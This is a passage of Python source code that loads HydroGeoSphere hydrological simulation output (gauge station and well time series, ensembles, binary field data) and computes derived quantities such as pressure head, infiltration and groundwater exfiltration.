metadata.items():\n if isinstance(value,str):\n expargs[meta_pfx+key.upper()] = value # in particular, this includes WSC_ID\n if 'WSC_ID' in expargs: \n if expargs['WSC_ID'][0] == '0': expargs['WSC_ID0'] = expargs['WSC_ID'][1:]\n else: raise DatasetError('Expected leading zero in WSC station ID: {}'.format(expargs['WSC_ID']))\n # exparg preset keys will get overwritten if capitalized versions are defined\n for key,value in kwargs.items():\n KEY = key.upper() # we only use capitalized keywords, and non-capitalized keywords are only used/converted\n if KEY == key or KEY not in kwargs: expargs[KEY] = value # if no capitalized version is defined\n\n # read folder and infer prefix, if necessary\n folder = folder.format(**expargs)\n if not os.path.exists(folder): raise IOError(folder)\n if expargs.get('PREFIX',None) is None:\n with open(os.path.join(folder,prefix_file), 'r') as pfx:\n expargs['PREFIX'] = prefix = ''.join(pfx.readlines()).strip()\n # some more argument expansions\n zone = prefix if zone is None else zone.format(**expargs) # this only applies to newton and water balance files \n if file_title: file_title = file_title.format(**expargs) # used to validate file header below\n name_tag = name_tag.format(**expargs) # inserted filename as TAG\n\n # set meta vardata (and allow keyword expansion of name and title)\n metadata['problem'] = prefix\n metadata['station_name'] = metadata.get('long_name', long_name)\n metadata['basin'] = basin if basin else 'n/a'\n if name is not None: name = name.format(**expargs) # name expansion with capitalized keyword arguments\n else: name = 'HGS_{:s}'.format(long_name)\n metadata['name'] = name\n if title is None: \n title = ' (HGS, {problem:s})'.format(**metadata)\n if name == name.lower(): title = name.title() + title # capitalize\n else: title = name + title # assume already correctly capitalized\n else: title = title.format(**expargs) # name expansion with capitalized keyword arguments\n metadata['long_name'] = metadata['title'] = title\n\n # now determine start vardata for date_parser\n if end_date is None: \n if start_date and run_period: \n start_year,start_month,start_day = convertDate(start_date); del start_month,start_day\n end_date = start_year + run_period \n elif period: end_date = period[1]\n else: raise ArgumentError(\"Need to specify either 'start_date' & 'run_period' or 'period' to infer 'end_date'.\")\n end_year,end_month,end_day = convertDate(end_date)\n if start_date is None: \n if end_date and run_period: start_date = end_date - run_period \n elif period: start_date = period[0]\n else: raise ArgumentError(\"Need to specify either 'end_date' & 'run_period' or 'period' to infer 'start_date'.\")\n start_year,start_month,start_day = convertDate(start_date)\n # generate regular monthly time steps\n start_datetime = np.datetime64(dt.datetime(year=start_year, month=start_month, day=start_day), resample)\n end_datetime = np.datetime64(dt.datetime(year=end_year, month=end_month, day=end_day), resample)\n if llastIncl: end_datetime += np.timedelta64(1, resample)\n time_resampled = np.arange(start_datetime, end_datetime+np.timedelta64(1, resample), dtype='datetime64[{}]'.format(resample))\n assert time_resampled[0] == start_datetime, time_resampled[0]\n assert time_resampled[-1] == end_datetime, time_resampled[-1] \n # construct time axis\n if time_axis.lower() == 'simple':\n if resample.upper() == 'M':\n start_time = 12*(start_year - 1979) + start_month -1\n end_time = 12*(end_year - 1979) + end_month -1\n time = Axis(name='time', units='month', atts=dict(long_name='Months since 1979-01'), \n coord=np.arange(start_time, end_time)) # not including the last, e.g. 1979-01 to 1980-01 is 12 month\n elif resample.upper() == 'D':\n ref_dt = dt.datetime(year=1979,month=1,day=1)\n start_dt = dt.datetime(year=start_year,month=start_month,day=start_day)\n start_time = (start_dt - ref_dt).days\n end_time = start_time + len(time_resampled)-1\n time = Axis(name='time', units='day', atts=dict(long_name='Days since 1979-01-01'), \n coord=np.arange(start_time, end_time)) # not including the last, e.g. 1979-01 to 1980-01 is 12 month\n assert len(time_resampled) == end_time-start_time+1\n elif time_axis.lower() == 'datetime':\n if resample.lower() == 'y': units = 'year'\n elif resample.lower() == 'm': units = 'month'\n elif resample.lower() == 'd': units = 'day'\n elif resample.lower() == 'h': units = 'hour'\n else: units = resample\n long_name = '{}s since {}'.format(units.title(),str(time_resampled[0])) # hope this makes sense...\n time = Axis(name='time', units=units, atts=dict(long_name=long_name), coord=time_resampled[:-1])\n else:\n raise ArgumentError(time_axis)\n\n ## load vardata\n # now assemble file name for station timeseries\n filename = filename.format(PROBLEM=prefix,TAG=name_tag)\n filepath = os.path.join(folder,filename)\n if not os.path.exists(filepath): IOError(filepath)\n # parse header\n with open(filepath, 'r') as f:\n line = f.readline(); lline = line.lower() # 1st line\n if \"title\" not in lline : raise GageStationError(line,filepath)\n if file_title and file_title.lower() not in lline : \n raise GageStationError((file_title, line, filepath))\n # parse variables and determine columns\n line = f.readline(); lline = line.lower() # 2nd line\n if not \"variables\" in lline: raise GageStationError(line)\n variable_order = [v for v in line[line.find('=')+1:].strip().split(',') if len(v) > 0]\n # clean up a little and remove some problematic characters\n variable_order = [v.strip().strip('\"').strip().lower() for v in variable_order]\n for c,r in {' ':'_','-':'_','(':'',')':''}.items():\n variable_order = [v.replace(c,r) for v in variable_order]\n # this line is just for verification\n line = f.readline(); lline = line.lower() # 3rd line\n if \"zone\" not in lline: raise GageStationError(line,filepath)\n if zone.lower() not in lline: raise GageStationError(line,filepath)\n # figure out varlist and vardata columns\n if variable_order[0].lower() == 'time':\n offset = 1 \n del variable_order[0] # only keep variables\n elif well is not None: \n offset = 0 # observation wells have different time stamps\n else: raise GageStationError(variable_order)\n # preliminaries for auto-summing\n auto_sum_varlist = dict()\n # assemble varlist\n if isinstance(varlist,str) and varlist.lower() == 'all': \n varlist = variable_order[:] # load all in the file\n else:\n if varlist is None or ( isinstance(varlist,str) and varlist.lower() == 'default' ): \n varlist = [varname for varname in variable_attributes_mms.keys() if varname in variable_order] # load all that are known\n varlist += [varname for varname in constant_attributes.keys() if varname in variable_order] # load all constants\n else:\n varlist = [hgs_varmap.get(varname,varname) for varname in varlist] # translate back to internal HGS names\n if z_axis.lower() == 'z' and 'z' not in varlist: varlist.append('z') # needed for vertical coordinate\n final_varlist = varlist\n varlist = set(varlist)\n # auto-detect components of auto-sum variables\n if lauto_sum:\n lpeat = False; lnopeat = False\n if lauto_sum is True: lauto_sum = ('rain','aet','pet')\n else:\n for vartag in lauto_sum:\n if vartag.startswith('peat'):\n lpeat = True\n ppco = int(vartag.split('_')[1]) # peat percentage cut-off\n elif vartag.startswith('nopeat'):\n lnopeat = True\n ppco = int(vartag.split('_')[1]) # peat percentage cut-off\n lrain = ( 'rain' in lauto_sum )\n if lrain: auto_sum_varlist['rain'] = []\n laet = ( 'aet' in lauto_sum )\n if laet: auto_sum_varlist['aet'] = []\n lpet = ( 'pet' in lauto_sum )\n if lpet: auto_sum_varlist['pet'] = []\n for varname in variable_order:\n var_split = varname.split('_')\n # this is a manually implemented list of variables and how to detect their components\n # unfortunately this is quite specific to the ARB project...\n try:\n section_id = int(var_split[0])\n if section_id > 0 and section_id < 41 and len(var_split) > 3:\n if lrain and var_split[1] == 'rain':\n if lpeat and ( var_split[-1][2:] != 'pcnt' or int(var_split[-1][:2]) < ppco ): pass\n elif lnopeat and ( var_split[-1][2:] == 'pcnt' and int(var_split[-1][:2]) > ppco ): pass\n else:\n auto_sum_varlist['rain'].append(varname); varlist.add(varname)\n #print(varname)\n elif (laet or lpet) and len(var_split) > 4 and var_split[1] == 'et':\n if lpeat and ( var_split[-2][2:] != 'pcnt' or int(var_split[-2][:2]) < ppco ): pass\n elif lnopeat and ( var_split[-2][2:] == 'pcnt' and int(var_split[-2][:2]) > ppco ): pass\n elif laet and var_split[-1] == 'aet': \n auto_sum_varlist['aet'].append(varname); varlist.add(varname)\n #print(varname)\n elif lpet and var_split[-1] == 'pet': \n auto_sum_varlist['pet'].append(varname); varlist.add(varname)\n #print(varname)\n else:\n print(\"Unrecognized section term: \"+varname)\n else:\n print(\"Unrecognized section term: \"+varname)\n except:\n pass\n final_varlist += list(auto_sum_varlist.keys())\n# for varname,sumlist in auto_sum_varlist.items():\n# print(varname)\n# print(sumlist)\n # now use varlist to figure out file columns\n vardict = {v:i+offset for i,v in enumerate(variable_order)} # column mapping; +1 because time was removed\n variable_order = [v for v in variable_order if v in varlist or flow_to_flux.get(v,False) in varlist]\n constant_order = [v for v in variable_order if v in constant_attributes]\n variable_order = [v for v in variable_order if v not in constant_attributes]\n varcols = tuple(vardict[v] for v in variable_order) # variable columns that need to be loaded (except time, which is col 0)\n constcols = tuple(vardict[v] for v in constant_order) # constants columns that need to be loaded\n assert offset-1 not in varcols, varcols\n\n# # time loading \n# from time import time as time_fct\n# tic = time_fct()\n \n # load vardata as tab separated values\n if well:\n # resolve layers\n if isinstance(layers,str) and z_layers is None: z_layers = layers\n if isinstance(z_layers,str):\n if z_layers.lower() == 'screen':\n if 'z_t' in metadata and 'z_b' in metadata:\n if 'Screen' not in metadata and 'screen' not in metadata and 'SCREEN' not in metadata: \n raise ValueError(\"Values for 'z_b' and 'z_t' likely do not refer to a screen interval\")\n z_layers = (metadata['z_b'],metadata['z_t'])\n else:\n raise ValueError(\"Unable to infer screen interval from well metadata.\") \n else: raise ArgumentError(z_layers)\n # well files need special treatment\n lsqueeze = isinstance(layers,(int,np.integer))\n time_series,data,const,z_s = parseObsWells(filepath, variables=varcols, constants=constcols, \n layers=layers, z_layers=z_layers, lskipNaN=lskipNaN,\n lelev=True)\n assert data.shape[1] == len(varcols), data.shape\n nlay = data.shape[2] # number of layers\n if isinstance(correct_z, (int,np.integer,float,np.inexact)) and not isinstance(correct_z, (bool,np.bool_)):\n if 'screen_depth' not in metadata: \n raise AttributeError('Need screen_depth attribute to correct based on elevation and depth!')\n correct_z = ( metadata['screen_depth'] < correct_z )\n if correct_z:\n i_h = variable_order.index('h')\n bias = metadata['ELVA_GROUN'] - z_s\n if data.ndim == 2: data[:,i_h] += bias\n else: data[:,i_h,:] += bias\n if lsqueeze:\n assert nlay == 1, data.shape \n data = data.squeeze()\n sheet = None\n assert data.shape == (len(time_series),len(varcols),), data.shape\n else:\n # create vertical axis\n if z_axis.lower() == 'z':\n iz = constant_order.index('z',)\n sheet = Axis(coord=const[iz,:], **constant_attributes['z_pm'])\n elif z_axis.lower() == 'i': \n sheet = Axis(name='i_lay', units='', coord=np.arange(1,nlay+1))\n else:\n raise ArgumentError(z_axis)\n assert data.shape == (len(time_series),len(varcols),len(sheet)), data.shape\n else:\n # all other files follow the same format\n assert len(constcols) == 0, constcols\n data = np.genfromtxt(filepath, dtype=np.float64, delimiter=None, skip_header=3, usecols = (0,)+varcols)\n assert data.shape[1] == len(varcols)+1, data.shape\n if lskipNaN:\n data = data[np.isnan(data).sum(axis=1)==0,:]\n elif np.any( np.isnan(data) ):\n raise DataError(\"Missing values (NaN) encountered in timeseries file; use 'lskipNaN' to ignore.\\n('{:s}')\".format(filepath)) \n time_series = data[:,0]; data = data[:,1:]\n assert data.shape == (len(time_series),len(varcols)), data.shape\n sheet = None # no sheet axis\n \n# toc = time_fct()\n# print(\"Loading file:\",toc-tic)\n \n # call function to interpolate irregular HGS timeseries to regular monthly timseries \n data = interpolateIrregular(old_time=time_series, lkgs=lkgs, data=data, new_time=time_resampled, \n start_date=start_datetime, interp_kind='linear', \n lcheckComplete=lcheckComplete, usecols=varcols, fill_value=np.NaN)\n assert data.shape[0] == len(time), (data.shape,len(time),len(variable_order))\n \n# print(\"Interpolating:\",time_fct()-toc) \n \n ## construct dataset\n dataset = Dataset(atts=metadata)\n dataset.station = station # add gage station object, if available (else None)\n \n # unit options: cubic meters or kg\n if name_tag == 'newton_info' or well is not None:\n flow_units = None; flux_units = None; den = None\n variable_attributes = variable_attributes_mms.copy()\n elif lkgs:\n flow_units = 'kg/s'; flux_units = 'kg/m^2/s'\n variable_attributes = variable_attributes_kgs.copy()\n den = metadata.get('shp_area',None) \n else:\n flow_units = 'm^3/s'; flux_units = 'mm/s'\n variable_attributes = variable_attributes_mms.copy()\n den = metadata['shp_area'] / 1000. if 'shp_area' in metadata else None\n \n # add constants to dataset (only for wells at the moment)\n for i,varname in enumerate(constant_order):\n if varname != sheet.name: # skip z-axis\n if sheet: \n vardata = const[i,:]\n # check if there is a sheet-dependence\n if np.all(vardata == vardata[0]): vardata = vardata[0]\n else: \n vardata = const[i] # an actual constant...\n #dataset.atts[varname] = np.asscalar(vardata) # just a constant... \n axes = () if vardata.size == 1 else (sheet,)\n if varname in constant_attributes: varatts = constant_attributes[varname]\n else: varatts = dict(name=varname, units=flow_units)\n dataset += Variable(data=vardata, axes=axes, plotatts_dict={}, **varatts) # add variable\n \n # prepare auto-sum variables: get summation indices \n auto_sum_idxlist = dict()\n for varname,sumlist in auto_sum_varlist.items(): \n idxlist = [i for i,var in enumerate(variable_order) if var in sumlist]\n auto_sum_idxlist[varname] = idxlist\n \n # create variables\n lvo = len(variable_order)\n for i,varname in enumerate(variable_order+list(auto_sum_varlist.keys())):\n if i>=lvo:\n # this is a combination variable\n vardata = np.take(data, auto_sum_idxlist[varname], axis=1).sum(axis=1)\n if sheet: \n assert vardata.shape==(len(time),len(sheet)), vardata.shape\n axes = (time,sheet)\n else: \n assert vardata.shape==(len(time),), vardata.shape\n axes = (time,)\n else:\n if sheet: \n vardata = data[:,i,:]\n axes = (time,sheet)\n else: \n vardata = data[:,i]\n axes = (time,)\n # process variable as is first \n # N.B.: we need to check again, because sometimes we only want the flux variable\n if varname in final_varlist:\n if varname in variable_attributes: varatts = variable_attributes[varname]\n else: varatts = dict(name=varname, units=flow_units, atts=dict())\n # convert variables and put into dataset (monthly time series)\n if flow_units and varatts['units'] != flow_units: \n raise VariableError(\"Hydrograph vardata is read as kg/s; flow variable does not match.\\n{}\".format(varatts))\n # flip sign for some variables\n if varatts['atts'].get('flip_sign',False): vardata *= -1\n dataset += Variable(data=vardata, axes=axes, plotatts_dict={}, **varatts)\n # process possible flux variable\n fluxvar = flow_to_flux.get(varname,None) \n if ( fluxvar and fluxvar in final_varlist ) and ( den and den > 0 ):\n # compute surface flux variable based on drainage area\n if fluxvar in variable_attributes: fluxatts = variable_attributes[fluxvar]\n else: fluxatts = dict(name=fluxvar, units=flux_units)\n if flux_units and fluxatts['units'] != flux_units: \n raise VariableError(\"Hydrograph vardata is read as kg/s; flux variable does not match.\\n{}\".format(fluxatts))\n if varatts['atts'].get('flip_sign',False) and not fluxatts['atts'].get('flip_sign',False):\n raise VariableError(\"If the variable sign has been flipped, the sign of the flux variable has to be flipped, too.\")\n vardata = vardata / den # need to make a copy\n dataset += Variable(vardata=vardata, axes=axes, plotatts_dict={}, **fluxatts)\n \n # apply analysis period\n if period is not None and resample == 'M' and time_axis.lower() == 'simple': # only works with month\n dataset = dataset(years=period)\n \n # aggregate vertical axis\n if z_aggregation and sheet: \n if not hasattr(np, z_aggregation):\n raise ArgumentError(\"'z_aggregation' has to be a valid numpy function.\")\n dataset = getattr(dataset, z_aggregation)(axis=sheet.name) \n \n # adjust scalefactors, if necessary\n if scalefactors:\n if isinstance(scalefactors,dict):\n dataset = updateScalefactor(dataset, varlist=scalefactors, scalefactor=None)\n elif isNumber(scalefactors):\n scalelist = ('discharge','seepage','flow')\n dataset = updateScalefactor(dataset, varlist=scalelist, scalefactor=scalefactors)\n else: \n raise TypeError(scalefactors) \n \n # return completed dataset\n return dataset\n\n\n# an enhanced ensemble loader that supports argument expansion and construction of ensemble datasets\n@BatchLoad\ndef loadHGS_StnEns(ensemble=None, station=None, well=None, varlist='default', layers=None, varatts=None, \n name=None, title=None, period=None, run_period=15, folder=None, obs_period=None, \n ensemble_list=None, ensemble_args=None, observation_list=None, conservation_authority=None,# ensemble and obs lists for project\n loadHGS_StnTS=loadHGS_StnTS, loadWSC_StnTS=loadWSC_StnTS, # these can also be overloaded\n WSC_station=None, Obs_well=None, basin=None, basin_list=None, **kwargs):\n ''' a wrapper for the regular HGS loader that can also load gage stations and assemble ensembles '''\n if observation_list is None: observation_list = ('obs','observations')\n if ensemble_list is None: ensemble_list = dict() # empty, i.e. no ensembles\n elif not isinstance(ensemble_list, dict): raise TypeError(ensemble_list)\n if ensemble is None: raise ArgumentError(\"Mandatory argument 'ensemble' is not defined!\")\n # decide what to do, based on inputs\n if ensemble.lower() in observation_list:\n # translate parameters\n station = station if WSC_station is None else WSC_station\n well = well if Obs_well is None else Obs_well\n obs_period = obs_period or period\n filetype = 'monthly'\n # load gage station with slightly altered parameters\n if station and well: raise ArgumentError()\n elif station:\n dataset = loadWSC_StnTS(station=station, name=name, title=title, basin=basin, basin_list=basin_list, \n varlist=varlist, varatts=varatts, period=obs_period, filetype=filetype)\n elif well:\n dataset = loadPGMN_TS(well=well, name=name, title=title, varlist=varlist, varatts=varatts,\n conservation_authority=conservation_authority,)\n if obs_period: dataset = dataset(years=obs_period)\n else:\n raise ArgumentError(ensemble)\n elif ensemble.lower() in ensemble_list:\n if ensemble_args is None: ensemble_args = dict()\n # loop over list of experiments in ensemble\n ens = []\n for exp in ensemble_list[ensemble]:\n # load individual HGS simulation\n ds = loadHGS_StnTS(station=station, well=well, varlist=varlist, layers=layers, varatts=varatts, \n name=name, title=title, conservation_authority=conservation_authority,\n period=period, experiment=exp, run_period=run_period, folder=folder, \n WSC_station=WSC_station, Obs_well=Obs_well, basin=basin, basin_list=basin_list, \n **kwargs)\n ens.append(ds)\n # construct ensemble by concatenating time-series\n ensemble_args.setdefault('name',ds.name.replace(exp,ensemble).replace(exp.title(),ensemble.title()))\n ensemble_args.setdefault('title',ds.title.replace(exp,ensemble).replace(exp.title(),ensemble.title())) \n # N.B.: the ensemble name is constructed by replacing the experiment name in specific dataset names with the ensemble name\n ensemble_args.setdefault('axis','time')\n dataset = concatDatasets(ens, **ensemble_args)\n else:\n # load HGS simulation\n dataset = loadHGS_StnTS(station=station, well=well, varlist=varlist, layers=layers, varatts=varatts, \n name=name, title=title, period=period, conservation_authority=conservation_authority, \n experiment=ensemble, run_period=run_period, folder=folder,\n WSC_station=WSC_station, Obs_well=Obs_well, basin=basin, basin_list=basin_list,\n **kwargs)\n return dataset\n\n\n## load functions for binary data\n\n\n## function to interpolate nodal/elemental datasets to a regular grid\ndef gridDataset(dataset, griddef=None, basin=None, subbasin=None, shape_file=None, \n basin_list=None, grid_folder=None, laddMask=True, **kwargs):\n ''' interpolate nodal/elemental datasets to a regular grid, add GDAL, and mask to basin outlines '''\n if isinstance(griddef,str): \n if grid_folder is None: grid_folder = common_grid_folder \n griddef = loadPickledGridDef(grid=griddef, folder=grid_folder)\n elif not isinstance(griddef,GridDefinition):\n raise ArgumentError(griddef)\n # identify shape file\n if basin and basin_list and shape_file is None:\n basininfo = basin_list[basin]\n shape_file = basininfo.shapefiles[subbasin if subbasin else basininfo.outline]\n if not os.path.exists(shape_file): \n raise IOError(shape_file)\n # interpolate (regular nodal values first)\n if 'x' in dataset and 'y' in dataset: \n dataset = dataset.gridDataset(grid_axes=(griddef.ylat,griddef.xlon), **kwargs)\n # also interpolate elemental values, if present\n if 'x_elm' in dataset and 'y_elm' in dataset: \n dataset = dataset.gridDataset(grid_axes=(griddef.ylat,griddef.xlon), \n coord_map=dict(x='x_elm',y='y_elm'), **kwargs)\n # add GDAL\n dataset = addGDALtoDataset(dataset=dataset, griddef=griddef, )\n # mask basin shape\n if shape_file and dataset.gdal:\n dataset.maskShape(name=basin, filename=shape_file, invert=True, laddMask=laddMask)\n # return gridded and masked dataset\n return dataset\n\n\n## some function to compute derived variables in loadHGS\ndef calculate_pressure_head(head_pm=None, head_olf=None, z_pm=None, z=None):\n ''' a function to calculate pressure head from total head and elevation '''\n if head_pm is not None and z_pm is not None:\n assert isinstance(z_pm,np.ndarray)\n if hasattr(head_pm, 'values'): head_pm = head_pm.values.reshape(z_pm.shape)\n p = head_pm - z_pm\n elif head_olf is not None and z is not None:\n assert isinstance(z,np.ndarray)\n if hasattr(head_olf, 'values'): head_olf = head_olf.values.reshape(z.shape)\n p = head_olf - z\n else:\n raise ArgumentError()\n return p\n \ndef calculate_exfiltration(ExchFlux_olf=None):\n ''' a function to calculate exfiltration from the PM domain into the OLF domain '''\n if isinstance(ExchFlux_olf, (pd.DataFrame,pd.Series)): ExchFlux_olf = ExchFlux_olf.values\n assert isinstance(ExchFlux_olf,np.ndarray)\n exfil = np.where(ExchFlux_olf<0,0,ExchFlux_olf)\n # assuming exfiltration is equivalent to positive exchange flux\n return exfil\n \ndef calculate_infiltration(ExchFlux_olf=None):\n ''' a function to calculate infiltration from the OLF domain into the PM domain '''\n if isinstance(ExchFlux_olf, (pd.DataFrame,pd.Series)): ExchFlux_olf = ExchFlux_olf.values\n assert isinstance(ExchFlux_olf,np.ndarray)\n infil = np.where(ExchFlux_olf>0,0,ExchFlux_olf)\n infil *= -1.\n # assuming infiltration is equivalent to negative exchange flux\n return infil\n\ndef calculate_recharge_et(ExchFlux_olf=None, ETPmEvap_olf=None, ETPmTranspire_olf=None):\n ''' a function to calculate infiltration from the OLF domain into the PM domain '''\n if isinstance(ExchFlux_olf, (pd.DataFrame,pd.Series)): ExchFlux_olf = ExchFlux_olf.values\n if isinstance(ETPmEvap_olf, (pd.DataFrame,pd.Series)): ETPmEvap_olf = ETPmEvap_olf.values\n if isinstance(ETPmTranspire_olf, (pd.DataFrame,pd.Series)): ETPmTranspire_olf = ETPmTranspire_olf.values\n assert isinstance(ExchFlux_olf,np.ndarray), ExchFlux_olf\n assert isinstance(ETPmEvap_olf,np.ndarray), ETPmEvap_olf\n assert isinstance(ETPmTranspire_olf,np.ndarray), ETPmTranspire_olf\n recharge = np.where(ExchFlux_olf>0,0,ExchFlux_olf) \n recharge *= -1.\n recharge += ETPmEvap_olf \n recharge += ETPmTranspire_olf\n # assuming infiltration is equivalent to negative exchange flux and evapotranspiration is negative\n return recharge\n\ndef calculate_divergence_olf(ExchFlux_olf=None, ETPmEvap_olf=None, ETPmTranspire_olf=None):\n ''' a function to calculate infiltration from the OLF domain into the PM domain '''\n if isinstance(ExchFlux_olf, (pd.DataFrame,pd.Series)): ExchFlux_olf = ExchFlux_olf.values\n if isinstance(ETPmEvap_olf, (pd.DataFrame,pd.Series)): ETPmEvap_olf = ETPmEvap_olf.values\n if isinstance(ETPmTranspire_olf, (pd.DataFrame,pd.Series)): ETPmTranspire_olf = ETPmTranspire_olf.values\n assert isinstance(ExchFlux_olf,np.ndarray), ExchFlux_olf\n assert isinstance(ETPmEvap_olf,np.ndarray), ETPmEvap_olf\n assert isinstance(ETPmTranspire_olf,np.ndarray), ETPmTranspire_olf\n divergence = -1.*ExchFlux_olf\n divergence += ETPmEvap_olf \n divergence += ETPmTranspire_olf\n # assuming infiltration is equivalent to negative exchange flux and evapotranspiration is negative\n return divergence\n \ndef calculate_2D_dflx(q_pm=None, dz_elm=None, layer=None):\n ''' a function to calculate infiltration from the OLF domain into the PM domain '''\n if isinstance(q_pm, (pd.DataFrame,pd.Series)): q_pm = q_pm.values\n if isinstance(dz_elm, (pd.DataFrame,pd.Series)): dz_elm = dz_elm.values\n assert isinstance(q_pm,np.ndarray), q_pm\n assert isinstance(dz_elm,np.ndarray), dz_elm\n assert q_pm.ndim == 2, q_pm.shape\n assert dz_elm.ndim == 2, dz_elm.shape\n q_pm = q_pm.reshape(dz_elm.shape+(q_pm.shape[1],))\n if layer:\n # handle layer slicing before vertical integration\n if isinstance(layer,int): l0 = layer-1; l1 = layer\n elif isinstance(layer,tuple): l0 = layer[0]-1; l1 = layer[1]\n else: raise TypeError(layer)\n q_pm = q_pm[l0:l1,:,:]\n dz_elm = dz_elm[l0:l1,:]\n dflx = q_pm[:,:,:2] # extract view to x & y components\n dflx_olf = np.zeros(((dz_elm.shape[1],3)), dtype=np.float32) # allocate results (single precision)\n # vertical integration\n dflx *= dz_elm.reshape(dz_elm.shape+(1,)) # broadcast last dimension\n np.sum(dflx, out=dflx_olf[:,:2], axis=0) # write sum to output array\n # add z component (flux difference between top and bottom layer)\n dflx_olf[:,2] = q_pm[-1,:,2] - q_pm[0,:,2]\n return dflx_olf\n\n \n## function to load HGS binary data\n@BatchLoad\ndef loadHGS(varlist=None, folder=None, name=None, title=None, basin=None, season=None, \n lgrid=False, griddef=None, subbasin=None, shape_file=None, t_list=None, lflipdgw=False, \n mode='climatology', file_mode='last_12', file_pattern='{PREFIX}o.head_olf.????', \n lkgs=False, varatts=None, constatts=None, lstrip=True, lxyt=True, grid_folder=None, \n basin_list=None, metadata=None, conservation_authority=None, var_opts=None,\n override_k_option='Anisotropic Elemental K', lallelem=False, **kwargs):\n ''' Get a properly formatted WRF dataset with monthly time-series at station locations; as in\n the hgsrun module, the capitalized kwargs can be used to construct folders and/or names '''\n if folder is None: raise ArgumentError\n if metadata is None: metadata = dict()\n # unit options: cubic meters or kg \n varatts = deepcopy( varatts or ( binary_attributes_kgs if lkgs else binary_attributes_mms ) )\n constatts = deepcopy( constatts or constant_attributes )\n if varlist is None: varlist = deepcopy( binary_list )\n # N.B.: the attribute dictionaries may be modified, if variables are interpolated to elements\n\n # prepare name expansion arguments (all capitalized)\n expargs = dict(ROOT_FOLDER=root_folder, NAME=name, TITLE=title, BASIN=basin,)\n for key,value in metadata.items():\n if isinstance(value,str): expargs[key.upper()] = value \n # exparg preset keys will get overwritten if capitalized versions are defined\n for key,value in kwargs.items():\n KEY = key.upper() # we only use capitalized keywords, and non-capitalized keywords are only used/converted\n if KEY == key or KEY not in kwargs: expargs[KEY] = value # if no capitalized version is defined\n # read folder and infer prefix, if necessary\n folder = folder.format(**expargs)\n if not os.path.exists(folder): raise IOError(folder)\n if expargs.get('PREFIX',None) is None:\n with open(os.path.join(folder,prefix_file), 'r') as pfx:\n expargs['PREFIX'] = prefix = ''.join(pfx.readlines()).strip() \n # set meta vardata (and allow keyword expansion of name and title)\n metadata['problem'] = prefix\n metadata['basin'] = basin if basin else 'n/a'\n if name is not None: name = name.format(**expargs) # name expansion with capitalized keyword arguments\n else: name = 'HGS Binary Fields'\n metadata['name'] = name\n if title is None: \n title = ' (HGS, {problem:s})'.format(**metadata)\n if name == name.lower(): title = name.title() + title # capitalize\n else: title = name + title # assume already correctly capitalized\n else: title = title.format(**expargs) # name expansion with capitalized keyword arguments\n metadata['long_name'] = metadata['title'] = title\n\n # find files/time-steps to load\n if not t_list:\n glob_folder = osp.join(folder.format(**expargs),file_pattern.format(**expargs))\n file_list = glob.glob(glob_folder)\n if len(file_list) == 0: \n raise DataError(\"No binary output files found:\\n '{}'\".format(glob_folder))\n t_list = [int(f[-4:]) for f in file_list]\n t_list.sort() \n if mode.lower()[:4] == 'clim':\n if file_mode.lower() == 'last_12':\n if len(t_list) < 12: \n raise ValueError(\"Need at least 12 time-steps to assemble Monthly climatology; {} given\".format(len(t_list)))\n t_list = t_list[-12:] \n if len(t_list) != 12: \n raise ValueError(\"Need at exactly 12 time-steps to assemble Monthly climatology; {} given\".format(len(t_list)))\n # construct time Axis\n time = Axis(coord=np.arange(1, 13), **constatts['time_clim'])\n # extract a season\n if season: \n season = translateSeasons(season) \n # slice time axis\n t_list = [t_list[i] for i in season]\n time = time(time=season, lidx=True) \n elif mode.lower()[:4] == 'time':\n if file_mode.lower() == 'last_12':\n if len(t_list) < 12: \n raise ValueError(\"Need at least 12 time-steps to select last year; {} given\".format(len(t_list)))\n t_list = t_list[-12:]\n # construct time axis\n time = Axis(coord=np.arange(1, len(t_list)+1), **constatts['time_ts']) \n else: raise NotImplementedError(mode)\n te = len(time)\n assert len(t_list) == te, (len(t_list),te)\n \n # save some more metadata\n metadata['prefix'] = prefix\n metadata['HGS_folder'] = folder\n metadata['time_list'] = t_list\n\n # option for groundwater table calculation\n tmp = dict(lordered=True, ldepth=True, lcap=False, lreset=False, lcheckZ=False, lexfil0=True, lnoneg=False)\n if var_opts: tmp.update(var_opts)\n var_opts = tmp\n\n # different varlist for different purposes\n if lstrip:\n # the variables we want at the end (to clean up)\n final_varlist = set(['x','y','x_elm','y_elm','model_time']) if lxyt else set() \n for var in varlist:\n if var not in bin_varmap and var not in const_varmap:\n raise ArgumentError(\"When using variable stripping, only GeoPy names can be used,\" +\n \" HGS names, such as '{}', do not work!\".format(var)) \n final_varlist.add(var)\n varlist = [bin_varmap.get(var,var) for var in varlist] # translate to HGS var names\n varlist = [const_varmap.get(var,var) for var in varlist] # translate to HGS var names\n # make sure variable dependencies work (derived variables last)\n all_deps = dict()\n original_varlist = varlist[:]\n varlist = []\n # rebuild varlist while inserting dependencies\n for var in original_varlist: \n if var not in varlist: \n varlist.append(var)\n if var in varatts:\n deplist = varatts[var]['atts'].get('dependencies',None)\n if deplist:\n for depvar in deplist:\n all_deps[depvar] = None # add to list of dependencies\n # figure out which variable to add to actual load list (if any)\n if depvar in ('coordinates_pm','coordinates_olf','pm_olf_mapping'): pass\n elif depvar in var_opts or depvar in ('n_elm','n_lay','n_node','n_sheet'): pass\n elif depvar in varlist: pass\n else: \n if depvar not in varatts and depvar.endswith('_elm') and depvar[:-4] in varatts:\n depvar = depvar[:-4]\n if not lallelem:\n lallelem = True\n print(\"Enabling interpolation to elements for all variables, since some dependencies require it (lallelem=True).\")\n varlist.insert(varlist.index(var),depvar)\n else:\n if var not in constatts: \n raise VariableError(\"Variable '{}' not found in variable attributes.\".format(var))\n \n ## construct dataset\n dataset = Dataset(atts=metadata)\n dataset += time\n \n ## load vardata using Graham's hgs_output package\n from hgs_output import binary\n # load first time step to create coordinate arrays etc.\n prefixo = prefix+'o'\n reader = binary.IO(prefixo,folder,t_list[0])\n coords_pm = reader.read_coordinates_pm()\n coords_olf = reader.read_coordinates_olf(coords_pm)\n # create mesh axes\n ne = len(coords_olf)\n se = coords_pm['sheet'].max()\n # load necessary nodal coordinates\n if not lallelem or any([var in varlist for var in ('x','y','z','z_pm','nodes_pm')]):\n node_ax = Axis(coord=np.arange(1,ne+1), **constatts['node'])\n assert ne == len(node_ax)\n dataset += node_ax\n if not lallelem or any([var in varlist for var in ('z_pm','nodes_pm')]):\n sheet_ax = Axis(coord=np.arange(coords_pm['sheet'].min(),se+1), **constatts['sheet'])\n assert se == len(sheet_ax)\n dataset += sheet_ax\n # add coordinate fields (surface)\n for var in ('x','y','z'):\n if not 